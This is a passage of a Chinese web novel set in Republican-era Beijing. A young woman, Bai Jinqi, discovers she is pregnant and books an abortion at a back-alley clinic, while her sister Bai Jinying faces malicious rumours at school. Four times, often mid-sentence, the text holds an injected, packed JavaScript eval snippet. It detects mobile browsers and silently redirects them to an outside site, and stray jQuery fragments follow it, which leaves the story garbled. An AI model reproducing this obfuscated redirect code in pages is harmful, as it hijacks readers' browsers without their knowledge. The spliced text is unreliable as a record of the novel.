白瑾琪在学校里,一直是活泼泼又骄傲的样子,骤然收起了笑容,反倒让郑家树感受到了事态的严重性。他到底太年轻又少担当,先是一惊,随后都是心慌,渐渐地,脸上的微笑都消沉了,随即意识到这表情可不好,才刻意提了提嘴角含糊道:“你也说是‘如果'',你们女孩儿总爱自己吓唬自己,白白的担惊受怕。” 他虽然想过和白瑾琪结婚,可那到底是爱情上头时的冲动念头,他心里喜欢是不假,可突然冒出一个孩子,那可不是妙事。 郑家树偷觑一眼,见白瑾琪并不说话,只是沉沉地将他看着,下意识便避开了视线,半心虚半安抚道:“你最近怎么格外的多思多想?是不是晚上睡得不好?那就快回去休息吧,咱们现在谈这些太早了......” 白瑾琪倒不是伤心,只是发现一起闯祸的人担不了事,心里加倍的后悔罢了:自己真不该为了一点好奇和新鲜劲,就不顾后果地,全凭兴致来做事!什么叫搬起石头砸自己的脚,现在她的心真像是变成块石头,直直地往脚底下坠呢! 她心里发冷,连带着嘴里也发出一声冷笑,道:“你说的不对,哪里是谈这些太早,我要不要和你来谈这些,那还是两说呢。” 扭头往回走的途中,却再一次福至心灵——不对不对,除去郑家树,还能去找陈芳藻呀!她此刻人就在北京!她一个大人,又有生育的经验,总可以告诉我该怎么做! 于是立刻写了张字条,雇了个黄包车夫送去陈芳藻落脚的酒店,隔天就把人约了出来。 陈芳藻初时还满心欢喜,以为字条上写的“有要事商量”,是白瑾琪已在两个姐姐那里打通了关节,要和她进一步商议搬家的事呢。想不到白瑾琪开口就是一句“我好像怀孕了”, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849466|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吓得她脸色一白。 陈芳藻又惊又疑:“你怎么就怀孕了?谁的?!”可下一秒,那神情又一变,笑着问,“你交男友了?什么人?瞧我,我们瑾琪的眼光总归不差的,既然有了,那就结婚好了,正好可以搬出来,再把妈妈接过去。我和你说,姑娘们就该在花骨朵儿一样的年纪里找个好人家嫁了,你大姐姐那样的,那就太大了。” 陈芳藻堆了满脸的笑容,甚至还透出一点可喜和自得来,白瑾琪心里烦闷,忍不住打断道:“你别管是什么人,反正结婚绝不能够,孩子也绝对不要,我来找你,就是想问问怎么办——” 陈芳藻的情绪一下就转喜为怒了,瞪着白瑾琪道:“胡说八道!怎么就不能结婚?是对方不愿意负责任吗?那不能够!你还叫我别管,我是你妈,我能不管吗?!还有你两个姐姐也有责任,你年纪小不懂事,她们也不知道看着你一点吗!我非得和她们说说理去不可——” 白瑾琪本来心里就急迫,现在听她怪这怪那,最后还怪到白瑾瑜和白瑾璎头上,又更添几分难堪,加重口气道:“你管我什么?你要真管我,当初怎么就把我抛下了呢?” 这样一说,陈芳藻果然哑火了。白瑾琪也不给她再开口的机会,赶紧哭诉道:“妈,现在怎么办呢?要不你陪我去医院里做一个检查吧,我一个人实在害怕......” 陈芳藻做了亏心事,很怕她把先前的旧账再翻出来,只好不再多问。也急道:“孩子,你傻呀!这件事瞒得越紧越好,哪里能大张旗鼓地上医院?医院里的护士,就没有不爱嚼舌根子的,病人也多,但凡碰见一个认识你的人,你怎样说得清?” 白瑾琪听着,眼眶已经噙了眼泪,只一个劲儿地问“怎么办”。 陈芳藻从来就是担不起事的性格,看白瑾琪挂着泪珠,自己心里也发慌,两手揉搓着先应付道:“好孩子,我看还是找一个偏僻人少的小诊所为宜,你也别怕,你自己也不确定,未必就是真的呀!” 这话也不知是在安慰白瑾琪,还是在给自己压惊。横竖过了两天,陈芳藻带着白瑾琪去了离椿樟街远远的一处街区,七拐八拐地,钻进一条小胡同里。 这里的环境,当然绝不能和她平日生活的地方相提并论,不说脚下的路面坑坑洼洼,胡同两侧的矮房也都是灰扑扑的,老旧的木头门窗上裂了缝,一推就是吱呀一声。间或遇上几个住户行人,白瑾琪总觉得那视线偷窥似的落到自己身上,叫人心里发毛。 好在她围了一条大披肩,几乎可以挡住大半张脸,缩着脖子埋头,也就将那些视线给隔绝了。 又往前走了几十步路,陈芳藻才拉住她的胳膊,飞了个眼色示意说:“到了。” 只见左手边一间白色铺面,和周围破旧的房屋相比,显得整洁干净得多。大门两边贴了不少广告单,有被撕坏的,也有发黄的,一张盖着一张,且不管那上头写了什么,大门镶嵌的毛玻璃上贴着“平安卫生所”五个鲜红的大字,那就比什么都先抓住人的眼球。 67. 第 67 章 白瑾琪躲在陈芳藻的背后,顺着台阶上了二楼,二楼是一条狭长的过道,两边各有一间诊室似的房间,一边的门紧闭着,另一边倒是打开的。 大概是听到有人上楼的脚步声,开门的房间里走出一个约莫四十来岁的女士来,冲她二人招了招手说:“来这里,来这里。” 白瑾琪活像丢了魂似的,给人带着走进了四面雪白的诊室,又给扶着坐上了诊室里一张狭窄的小床。她的神经本就紧绷着,不知怎么的,一沾上诊床,整个后背都竖起汗毛,身体僵硬着,怎么都不愿意躺下去。 那女大夫刚要皱眉,视线在白瑾琪并陈芳藻体面的着装和忧惧的脸色上扫过一眼,也就随她去了,只在嘴上奚落了一句:“好吧,你想坐着就坐着,像你们这样的小姑娘,平时要是有这样不依不从的劲头,也不必上我这卫生所做检查。” 说着,扭头拿出一副西式的听脉器夹在耳朵里,将听脉的那一头按在白瑾琪的胸口和腹部,有模有样地听了起来。 白瑾琪怕得不行,两眼紧盯在那女大夫的脸上,留心着她的表情,但凡拧一下眉头,她的心都要狂跳好几下。想不到听了一阵,那女大夫便放下了听脉器,抓了白瑾琪的手腕开始给她号脉。 见两个客人都疑惑地盯着她看,那大夫也不局促,笑了一下说:“说到底,老祖宗的东西可比西医管用,我两样都很在行,正可以上一道双重的保险。” 白瑾琪随她怎么说,她此刻的感受,便好似自己是砧板上的一块肉,随便人家怎么摆布,自己干脆听不见看不见才好。一只手被那女大夫粗糙的手指按着,另一只手则紧紧握了陈芳藻的手,想汲取一点安全感似的。 半晌,那女大夫收回了手,叹了口气道:“果然,你小姐是有了。不过还太小,听脉器听不出来哩。” 她这一句话,一下就把心存侥幸的两人打入了谷底,白瑾琪只觉得心头一个咯噔,整个人的体温都在这一刻流失掉了,偏偏她从陈芳藻的手上也感受不到温度,那么陈芳藻的惊慌程度,也就可想而知了。 那女大夫大概见惯了这种场面,仍旧可以提着嘴角,做一个微笑的模样,问道:“看你二位的模样,也是不想要的,那么是今天就实施手术呢?还是改天呢?只是孩子这东西,拖的越久危险就越大,我看不如就是今天吧?” 白瑾琪顿时打了个冷战,当下一句话也说不出来,只把头摇得拨浪鼓也似。 再看旁边的陈芳藻,也是脸色煞白。她这两天仔细想过,自己这个女儿,一向粗心大意,有时候自己的事情都搞不清,故而她虽然找了间小诊所陪着白瑾琪来,心里实则存了七八分的希望,想不到就给完全地打破了! 当下,她也顾不上要去找白瑾瑜“看管不力”的麻烦了,单说自己是白瑾琪的妈妈,现在陪了女儿来小诊所打胎,打好了怎么办?打得不好又怎么办?自己负不起这个责任。 现下,白瑾琪的衣食住行都由那一位大小姐管着,白瑾琪真要有什么事,她能不插手吗?到时候知道这里头还有自己一份,新账旧账一起算,自己更要吃不了兜着走了! 陈芳藻的脸色顿时难看起来,然看见大夫还站在对面等着,隐隐有不耐烦的神色,又扯了扯嘴角客气道:“今天不做,今天不做,这是大事,我们回去要好好商量一下。” 女大夫听了,也跟着拉下脸来,嘴里放出一声冷笑道:“我刚才问你们,不过客气一下,你想要今天做手术,我们还没有位置呢!” 说着,又从半新不旧的木桌子抽屉里拿出一本厚厚的簿子,哗啦啦地翻开给陈芳藻看,“要做手术,可是要预约的,还要先交十块钱的预约费。现在么——最早可以约在下个礼拜三。” 确定做还是不做,定在礼拜几做,这也是很但责任的事。陈芳藻讪讪地一笑,回头看向白瑾琪,那意思是要她自己决定。 白瑾琪的脑子里像塞了团浆糊似的,心里还没决定做不做呢,先想到:这事儿不能叫学校里的人知道,那就不能安排在要上课的日子,最好也不能让两个姐姐知道,那就不能放在休息日,无缘无故出一趟家门。 过了半晌,才小声道:“......不要礼拜三,我、我们约礼拜五的傍晚。” 她说这话时,手还紧紧握着陈芳藻的手,需要母亲陪伴的意思,也就很明显了。陈芳藻脸上的笑又僵了一下,偷偷瞧了白瑾琪一眼,到底没有说什么,交了十元预约费,将女儿带走了。 离开时,两人还是用大披肩围着脸,只是心里揣着坏消息,那脚步便格外的沉重。白瑾琪胡思乱想着:我遮头挡脸,就是为了不让人认出我来,但就我现在这颓丧灰败的样子,恐怕别人见到我,也认不出我吧? 又抬起头,向着破旧的小巷四处环顾一圈,自嘲道:什么认不认得出,我真是多想,我认识的人,哪一个也不会出现在这种地方的。 她这就想差了。 在距她不远的巷子拐角处,就有一个人向她的背影打量了两眼,满脸的奇怪狐疑,不信似的又盯着看了一阵,直到同行的人叫他,才回过神来一道走了。这人是谁,这里先不做揭晓。 再说白瑾琪浑浑噩噩地回到家里,本想着一个人好好静一静, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856312|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想不到一开门,正对上客厅里白瑾璎和虞妈两张很可亲的脸,两人一看见白瑾琪,倒是惊了一跳:“啊呀!怎么脸色这样白?” 白瑾璎让虞妈去拿热毛巾和热茶,自己握了一把白瑾琪冰凉的手道:“怎么冻成这样?现在天凉得很快,以后出门可要记得多穿一点,瑾瑜之前不就给你买了新的毛线衣吗,这就可以穿起来了。” 一面说,一面将桌上一个小盒子打开了递到她眼前来:“你瞧,你上回说好吃的蝴蝶酥。我今天正巧路过春华大饭店,便又买了,还是刚烤出炉的呢,快吃一块。” 白瑾琪下意识地捏了一块在手上,那点心是温热的,白瑾璎握了自己的手也是热的,她对自己亲切的话语微笑,更是烫热的。 她化作石头往下坠的心,霎时像是给人捂化了。 白瑾琪从坐上卫生所的小床到独自回到家都还没哭过的眼睛,一下就潮湿起来,得亏了她有几分表演的功力在身,才堪堪忍住眼泪,没有让白瑾璎看出端倪。 她佯装轻松,笑嘻嘻地和白瑾璎聊了几句,又用虞妈拧来的热毛巾擦了手脸,才俏皮似的拿了一盒点心回去房间。只是一关上房门,整个人便脱力一般抵在门后,滑坐到地上小声哭起来。 之前在诊所的时候,她太慌了,也太害了,虽然约下了时间,实则心里什么都没想好。可现在她想好了,这个东西一定要打掉! 白瑾瑜有一个正在交往的孟先生,白瑾璎虽然没有恋爱,但她这样漂亮柔弱的女子,往后一定是要结婚的呀!要是自己未婚先孕,人家会怎么议论自己两个姐姐?那个姓孟的会不会变成第二个姓柳的,把大姐姐抛弃? 白瑾瑜虽然硬气,心里难免不生闷气,白瑾璎呢?她简直会被流言蜚语击倒的! 不能因为自己这一时荒唐的错误,让一个姐姐受气,另一个姐姐受苦,那就太自私了! 何况大难临头的时候,唯有这两个姐姐没有抛下你,你就是这样“报答”她们的吗? 白瑾琪起先咬着袖子狠狠地哭着,而后渐渐安静下来,任凭眼泪直流,人却目视前方想得入神。忽而,她抬手将眼泪一抹,动作之坚决神色之坚毅,可见已是下定决心了。 再看客厅里的白瑾璎,在对着白瑾琪和虞妈时总是扬着笑脸,可当白瑾琪回了房间,虞妈也去忙活自己的事,客厅里只留下她一个人时,那笑脸也消退了。她空望着不知哪一处,脸上是很愁苦疲惫的样子。 白瑾琪在打胎一事上考虑她良多,有一件事考虑得很对。 白瑾璎实在是个容易被流言蜚语击倒的柔弱人。 68. 第 68 章 像缪昌平这样的小人,最爱在背地里做小动作,要防他,是防不住的。 应到白瑾璎的身上,那就是学生之间似乎有了一种说法,说教洋文的白老师和新来的教务专员私下里是恋爱的关系,这谣言在前三个先进班里尤为盛传。 白瑾璎起初并不知情,只是走在学校里头,总感觉有女学生偷觑着自己窃窃私语,上去问她什么事,又什么也不说,只是捂嘴偷笑着跑走。 直到某一堂六班的洋文课,白瑾璎一走进教室,就看见孙立学并徐克行两个人站在讲台前,两条胳膊互相掣肘着,一副打架的样子。而孙立学的跟班梁小山则从背后扣住徐克行的腰肩,要把他拉开。 白瑾璎当下喝止住三人,让他们回去各自的座位。 孙立学见她来了,竟也没有纠缠,脸上甚至露出一点快意的笑容,大方地率先松开了手,向梁小山使一个眼色,两人大摇大摆地下了讲台。反倒是徐克行,一经自由,并不急着回去,而是拿起了讲台上的板擦,要先去擦黑板。 孙立学摊开手脚坐在椅子上,高声道:“你擦什么?这又不是见不得人的事,也让咱们白老师看一看呀!” 白瑾璎拧着眉头去看,才发现黑板上大大地写着自己和程佩生的名字,两个名字的中间画着一颗桃心,又飞着一支爱情之箭。再看孙立学得意洋洋的表情,这画作出自谁人之手,也就不言而喻了。 结合最近的种种迹象,白瑾璎心里已明白了是怎么回事。可她同时也想不明白,自己和程佩生一句多余的话不曾讲过,何以就有了这样的谣言? 她冷凝着脸,望了孙立学道:“密斯脱孙,你自己的大作,就由你自己来擦吧。下课的时候,你怎样乱涂乱画我不管,既然上课了,那就要擦干净。” 孙立学歪着嘴坏笑,故意说:“干嘛擦了?这是件喜事呀,我当白老师见了会高兴呢,恭喜恭喜了。”说着,还抬手拱了两下。 可惜白瑾璎既不发笑,也不发怒,只一双眼睛既冷又静地看着他,孙立学一出独角戏唱不下去,反倒引了满教室的学生都盯着他看,只好讪讪地撇嘴收声。白瑾璎这才道:“这是子虚乌有的事,你从哪里听来的?” 孙立学没了刚才那股嚣张劲儿,扯了扯嘴角道:“大伙儿都在说呢,我哪儿记得是哪里。” 要和孙立学掰扯,那是扯不清的,是以白瑾璎只是很严肃地让他来擦黑板,又用洋文催了他一遍,搞得孙立学的脸上很挂不住,且六班的学生,也知道了这一消息绝不真实。但在白瑾璎的心里,到底又多添了一桩心事。 下课回到办公室,隔壁桌的吴老师一见了她,竟也笑嘻嘻地凑过来小声道:“你和程□□的事,是真的吗?你们藏得真好,我一点儿也不知道哩!不错不错,我看程□□为人很——” 白瑾璎做不出一点笑脸,头一回抢白别人道:“根本没有的事,我正为此发愁,这到底是谁传出来的?” 吴老师怔楞一下,吃惊道:“竟是假的吗?这——你要问谁传的,那我真说不出来,只记得学生里也有这样说的,教师办公室里似乎隐隐约约也听到一些。奇怪,你和程□□没有事,何以会无中生有呢?” 说完,又将嘴闭得紧紧的,对于恋爱恭喜之类的话,绝口不再提。 见白瑾璎愁容满面地锁着眉头,到底开口安慰她:“不过有另一件好事,绝不是假的,上周刚结束的月度汇总小考,分数已批出来了。我去偷瞧了一眼,你们六班的洋文成绩,真是漂亮!”他甚至情不自禁地击了一下掌,又向缪昌平的座位张望一眼,压低了声音道,“把先进班,也给超过啦!” 白瑾璎的情绪多少好转一些,谢了他两句。 哪知没过多久,又有一位平日里和白瑾璎关系不坏的国文女老师凑过来,要来和她道恭喜。白瑾璎一样正色否认,连旁边的吴老师也探头来问:“小李老师,你又是哪里听来的?何以这假的消息,传得这样广?” 那姓李的老师也奇怪:“是我班上的学生,三号班,上课偷偷地传纸条,被我没收了,那上头就写着呢。” 两人带着疑问,那目光又再一次看向白瑾璎。至此,白瑾璎的心情已是很低沉了,只思忖片刻,便道:“我去找校长谈一谈,这个谣言太害人,我非得制止不可。” 随即去了校长室,偏偏这样不凑巧,秦校长正值外出,去天津的友校见学参观,少说也要三天后才能回来。白瑾璎难得心急起来,脚下一顿,转而去了教务办公室。 教务办公室里,程佩生倒是好好地坐在办公桌后写着教案。见白瑾璎来了,先就对她扬起很亲切的微笑,然见她面色不善,那笑容也就收敛起来。 白瑾璎也不拐弯抹角,话说得又客气又直接:“程老师,我想来想去,这件事应当找你。一来,秦校长不在,你是教育局派下的教务专员,多少有暂代她的权利;二来,关于你我的谣言传的很盛,我不信你没有耳闻。何以我因病休息了两天,回来就流言四起了呢?你是流言里另一位主人公,我很想听听你怎样说。” 程佩生的笑脸彻底隐下去,嘴唇紧抿着,放冷了声音说:“你是在指责我没能未卜先知吗?还是疑心这谣言是我放出去的?” 白瑾璎道:“我不管这些,而是你明知道谣言不实,你有何作为呢?” 程佩生无言地和她对峙,到底在那透亮直白的目光里败下阵来,语气也放软不少,道:“我确实也听说了,但凡别人来问我的,我都严词否认;可若别人不问,我也不能抓着他去解释,是不是?” “谣言之所以难办,正因它一旦传开了,就很难追溯源头。设若大张旗鼓地去澄清,我又担心‘防民之口,甚于防川''。本来,传闲话的人只三四成,就因为我们广而告之地去否认,所有人的猎奇心,都要被激起了。又有一些学生,你越否认,他越认为你是心虚,更要引起相反的效果。” 程佩生叹了口气,道:“我的意思,就是等秦校长回来再做定夺。在这一类事上,她总归更有经验,并且她说的话,也更有威慑力量。” 那就是只能等了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868305|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可程佩生的话,并不是全无道理,白瑾璎自己也不晓得,设若真的公开否认,眼下还是私下流传的谣言,会不会直接传到明面上来。她从没碰到过这种事,正是心烦意乱的时候,只听门外一阵吵闹声,却是两位家长太太找来了教务处。 两人一进门就问程佩生是不是学校管教务的专员,听到说是,那就吵开了。 一个咄咄逼人道:“我听说,贵校新来的洋文老师在学校里和另一个姓程的老师大谈恋爱,到底是学洋文的,行事就是开放,只不过这是在学校里,对年轻学生的影响多么不好!” 另一个也说:“就是这个道理!都说上梁不正下梁歪,本来该本本分分读书的学生,看见老师都谈起恋爱来了,岂不是个个有样学样,那还读什么书?” 她们自顾自说得起劲,可对着程佩生和站在一旁的白瑾璎并没有反应,可见并不真的认识口中批判的这两个人物,只是对这一则谣言,很义愤填膺罢了。可当程佩生问及孩子所在的班级时,这两人又支吾了一下,答曰一个在一班,一个在三班。 程佩生向白瑾璎使了个眼色,示意她先离开,转而微微冷下脸色,对着两位家长道:“据我知道的,那位新来的洋文老师既不教一班,也不教三班,和您二位的孩子,简直没有交集。” 其中一个一下就涨红了脸,强词夺理道:“专员老师,你是不信我说的话了?她虽然不教我的孩子,可学校是什么地方?何况学生间的交流那样密切,有什么事,大家都会知道的呀!” 其实,先进班的家长针对白瑾璎,也有自己的想法。 明明学校里有一位更好的老师,却怎么也不教自己的孩子,那就干脆拉下马来,让后进班也占不到便宜好了! 另一位太太也缩在边上弱弱附和道:“是呀,我看那新老师为人就不好。我听佳明妈妈说,上回她专程等在校门口,请新老师转去教先进班,只不过不当心把新老师的胳膊拉疼了,那老师就不答应教。气量那样小,忒记仇了!” 白瑾璎站在旁边,早已气得脸色煞白,眼眶里转着眼泪。 她长到这么大,从没感受过这样的委屈,甚至生出一种迷茫来:自己拼了命地用心对待每一件事,难道是错的吗?怎么到头来,所有事都不顺利,所有人都来责备自己的不是呢? 她再也听不下去,轻手轻脚地径自离开教务办公室,也不管还有半个钟头才放学,抹着脸上的眼泪一路往校门的方向走。 回家,回家。 这一片流言蜚语声里,她一秒钟也待不下去,只想逃回家去。 至于她走之后的事:教务办公室,程佩生已然摆出了公事公办的冷脸,拿出纸笔对两位太太道:“劳驾写下二位孩子的名字班级,这一件事,敝校一定从严查处,另外——还没有自我介绍,敝姓程,程佩生。” 而另一件,在教学楼三楼的过道上,缪昌平正看见了白瑾璎离校的背影,伸手一指,对同行的另两个老师玩笑道:“喏!还是白老师厉害,来趟学校,都是洋车专程来接送呢!” 69. 第 69 章 白瑾璎并不是自己上车的,不说她并不知道蒋牧城会来接人,就当时的情形而言,连他的车停靠在路边,恐怕都留意不到。 是蒋牧城看见她人影掠过,没有一点停留的意思,便自己下车来拦人,见到白瑾璎脸上挂了眼泪的样子,倒吃了一惊,敛眉问道:“怎么回事?有人叫你受气了?那个姓徐的?” 白瑾璎想不到自己哭鼻子的软弱样子被蒋牧城抓了现行,窘迫之余,又生出一丝难为情,忙说:“没有,不是。” 她匆忙环顾四周,看到那辆熟悉的黑色洋车后,先一步小跑着坐了上去,等蒋牧城拉开驾驶座的车门坐进来时,她已拿手帕擦干净了泪痕,只眼眶还红肿着。 蒋牧城坐下了,却并不急着开车,只是用耐心又疑问的神情将白瑾璎望着,要等她一句解释似的。 后者怯怯地回望了一眼,对上他的视线时,手上的帕子在细白的手指间缠来绕去,到底挤出一点笑容来,说:“其实没什么事,我、学校里的任务太重,我的译文也进行得很不顺利,我实在......” 说到这里,眉间耸动一下,似乎又生出一丛克制不住的委屈,要带出哭腔来。 蒋牧城肃然的脸色这才缓和一点,只余下关切,问:“你觉得太累吗?等到了周末,带你去兜一兜风,好不好?你责任心很重,学校的事,恐怕丢不开手,那就先把译著的事放一放。人就好比这汽车,坏了就要修理,没油了就要加,总是绷紧了神经,精力枯竭了,事情就做不下去了。” 白瑾璎惨惨地笑了一下:“说到底是我没有用,瑾瑜手里多少盘根错节的事务,她都可以顶下来,从来也不叫苦。到我这里,不过一点点挫折,就已经受不了了。” 蒋牧城很不赞同地否认道:“话不能这样说,人的性格与际遇,本来也是不能比较的。” 他仔细凝视了白瑾璎一眼,忽而道:“何况,是人就会有为压力而苦闷的时候。譬如我自己,刚去海关部的头一年,一样是处处碰壁,很受辛苦。怎么这一副表情,你不相信吗?” 白瑾璎被他的话引起了注意,脸上除了听他讲过往经历的新奇,实在还有一种吃惊,点头道:“我想象不出,你也有做不到的事吗?” 蒋牧城便露出一丝笑容:“看来我在你眼里近乎无所不能了,我很高兴。” 大概是他的眼神里自然带了一种直白的侵略,白瑾璎闪躲一下目光,转移话题道:“那、那你是怎么办的呢?手上的工作,总不能统统抛开不管。” 蒋牧城口吻淡淡,不太将所谓的“碰壁”放在心上的样子,道:“我的办法,一个,就是凭专业的本事解决问题;其次,就是不混杂个人感情。无论什么工作,无非就是诸多的问题等着人去解决,谁有解决的本领,那就能者居上。故而,专业和真本领不可或缺,这一点,我相信你是完全具备的。” 见白瑾璎微笑一下,又接着说:“至于不混杂个人情感,无非就是不受人言的裹挟。同僚之间,多的是明争暗斗,我何必追求人人对我交口称赞?即便有人诋毁我,可只要我能做到别人所不能,他们就离不开我,要留住我,自然就会对我客客气气了。” “设若在别人诋毁我的时候,我就伤心不平,不光绊住做事的手脚,也是白白耗费自己的情绪。” 蒋牧城说话的时候,目光时刻留意着白瑾璎的表情,见她沉思着,时不时很受教似的点一点头,那似乎自己的话对她是有用的,也就放心下来。同时踩动油门,将汽车稳稳地发动起来了。 这一边他们刚刚动身,另一边,一辆气派的洋车,已率先停在了椿樟街三十六号的门外。 宽敞的车后座上,白瑾瑜理了理自己的手袋,见没有遗漏,刚要伸手去推车门,又意识到什么似的,收回了手,扭头要去吻旁边人的脸。 孟西洲在旁边却避了一避,笑道:“这是‘道别之吻''吗?恕我不能接受。”随后,他整个人探过来靠到白瑾瑜的身上,却又越过她往车窗外看,问,“不请我进去坐一坐吗?我们可是一道住过饭店的关系,我家里,你也来过多次了,我却一次也没去过你家,这似乎说不过去。” 白瑾瑜翻着手腕看一眼手表,这个时间,白瑾璎和白瑾琪一个没有下班一个没有下课,也就是虞妈在家了,请他进去喝杯茶,那很不碍事。 于是欣然答应。两人刚从车里下来,恰好和对门正要外出的余佰撞了个对脸。 余佰对这三位姓白的小姐,一向是很热切的,习惯性地就要往前凑。可惜今天孟西洲也在,打眼一瞧见这位身形修长的先生,余佰先就吃了一惊,又被他身上的气势威吓住一般,非但没有前进,反而下意识地后退了一小步。 待本人意识到时,很有几分尴尬流露在脸上,可一看到白瑾瑜,那尴尬又转为谄笑了,向她打招呼道:“密斯白,今天好早呀!我看瑾琪小姐最近拜了新的老师,可是演艺之路有了进展?请一定替我恭贺她一声。” 余佰的话,白瑾瑜一向不怎么上心,不过他身上总有种把人逗乐的滑稽感,平时倒也愿意敷衍他几句。 这次同样随口问道:“新老师?我怎么不知道?瑾琪自己和你说的?” 白瑾瑜不过随口一问,余佰却当是自己和白瑾琪套近乎的行径给人看穿了,脸上一红,讪笑着解释道:“哪儿能呀,瑾琪小姐连密斯白也不透露,怎么会告诉我,不过是我偶然看见她和一位女士在咖啡馆里谈话,瑾琪小姐不住地掉眼泪哩!一会儿哭一会又笑,那约莫就是喜极而泣的泪水吧。” 白瑾瑜听到一半,已觉出不对劲来。要白瑾琪哭一哭,那可不是容易事,设若有人给她一个机遇,她只会欢天喜地,哪里会哭? 于是追问道:“和她谈话的女士长的什么样子?” 余佰这个记者,倒是有些记人的本领,略回想一下,便开始了一通描述。他兀自说得起劲,没注意到白瑾瑜越是听,脸上的笑容便越往下沉,到最后,只剩下一份冷凝了。 中途,余佰瞥了眼手表,惊呼道:“哎哟!我一说话,连时间都忘了!”忙向白瑾瑜告饶一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871949|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一溜烟地就往马路上赶。 白瑾瑜倒是笑脸相对地和他道了声谢,只是余佰的身影一从视线里消失,她即刻又拧起眉头,怒火压也压不住地狠狠冷笑了一声,道:“好啊,那小东西是好了伤疤忘了痛,陈芳藻回来了这么大的事,也不同我说!” 对于白瑾瑜的家务事,孟西洲倒也听她说过一些,且刚才女友神情上的变化,他同样留心到了。见白瑾瑜开门进屋,也就从善如流地跟上去,安抚道:“这事听上去不大好办,以防你需要人手,我现在更不能走了。” 望了愁眉深锁的白瑾瑜一眼,接着说:“不管怎么说,眼下要做的就是先把人接回家来,把话摊开了去谈。我看你这个小妹妹,也不是个是非不分又随意倒戈的人。” 白瑾瑜赞成道:“你和我想到一块儿去了。”说着,理一理洋装的领口,就要动身出门。可半途又停下了,原地踱了两步踟躇道,“不行,我现在正是气头上,看见她,路上非得和她吵起来不可。话还没有谈,就先宣告破灭了。” 她又看一眼客厅里的时钟,再过不久,就是白瑾琪下课的时间了。扭头对孟西洲道:“我得请你帮个忙,家里的司机,今天刚巧有事不在,能不能让你的司机——” 她没有说完,孟西洲已然意会了,当下接过话说:“让他去你小妹妹的学校接一接人,是不是?那没有问题,我今天留在这里,正是供你驱使的。”说罢,人已迈步走去屋外,交代事情去了。 白瑾瑜望着他的背影,心里有一瞬间的百感交集。 她当惯了家里的顶梁柱,从来都是被人依靠的一方,要说不累,怎么可能?而今总算有个人能让她依靠一二了,实在有一种久违的宽慰之感。 可惜孟西洲的司机注定是要白跑一趟了。今天是和卫生所预约好的日子,白瑾琪从白天开始便心浮气躁,坐立不安,几乎是下课铃声一响起,她便抱了书包疾步离开了学校。 走了两条街之远,才伸手招来一辆人力车,又拿出那条披肩将一张巴掌小脸围起来,留下一双警惕的眼睛窥看着四周逐渐破败的街景。 也不知人力车跑了多久,眼看天色比刚才昏暗了一层,那熟悉的破巷子终于遥遥地映入眼帘。 巷子越往深处越显得漆黑,只入口的两盏路灯投下惨白闪烁的微光。真像是一张张大了的蛇口,这两束灯光便是阴森可怖的獠牙,往里走,不知会有怎样危险的境遇。 白瑾琪原以为陈芳藻会在外头等她,可巷子口空无一人,哪里有陈芳藻的影子?再往巷子里望了一眼,那安静像是能把人吞没似的,让她无端打了个冷战。 可是非往里走不可,怕有什么用。 白瑾琪裹紧了披肩,几乎是闭了一口气埋头猛进,总算是找到了上回来过的平安卫生所。卫生所的毛玻璃大门里透着灯光,尽管把那五个红色大字照得有些瘆人,多少也让人感受到一点活人气。 白瑾琪这才小心翼翼地开始呼吸,顺着楼梯上到二楼,那走廊也是空荡荡的,可见陈芳藻确实还没有来。 70. 第 70 章 白瑾琪裹紧了披肩坐在走廊的长凳子上,这地方愈是安静,她心里愈是咚咚跳个不停,好像自己的心跳声,都能听得一清二楚。 不一会儿,诊室的门打开了,上回那四十来岁的女大夫走了出来,一眼就认出了白瑾琪,脸上挂了热情的笑容道:“啊呀,你小姐已经到了。你看,现在正是六点钟,眼下也没有人,不如我们就开始实施手术吧?” 白瑾琪听到“手术”两个字,怕得整个人一抖,当下就把头左右摇了好几下。 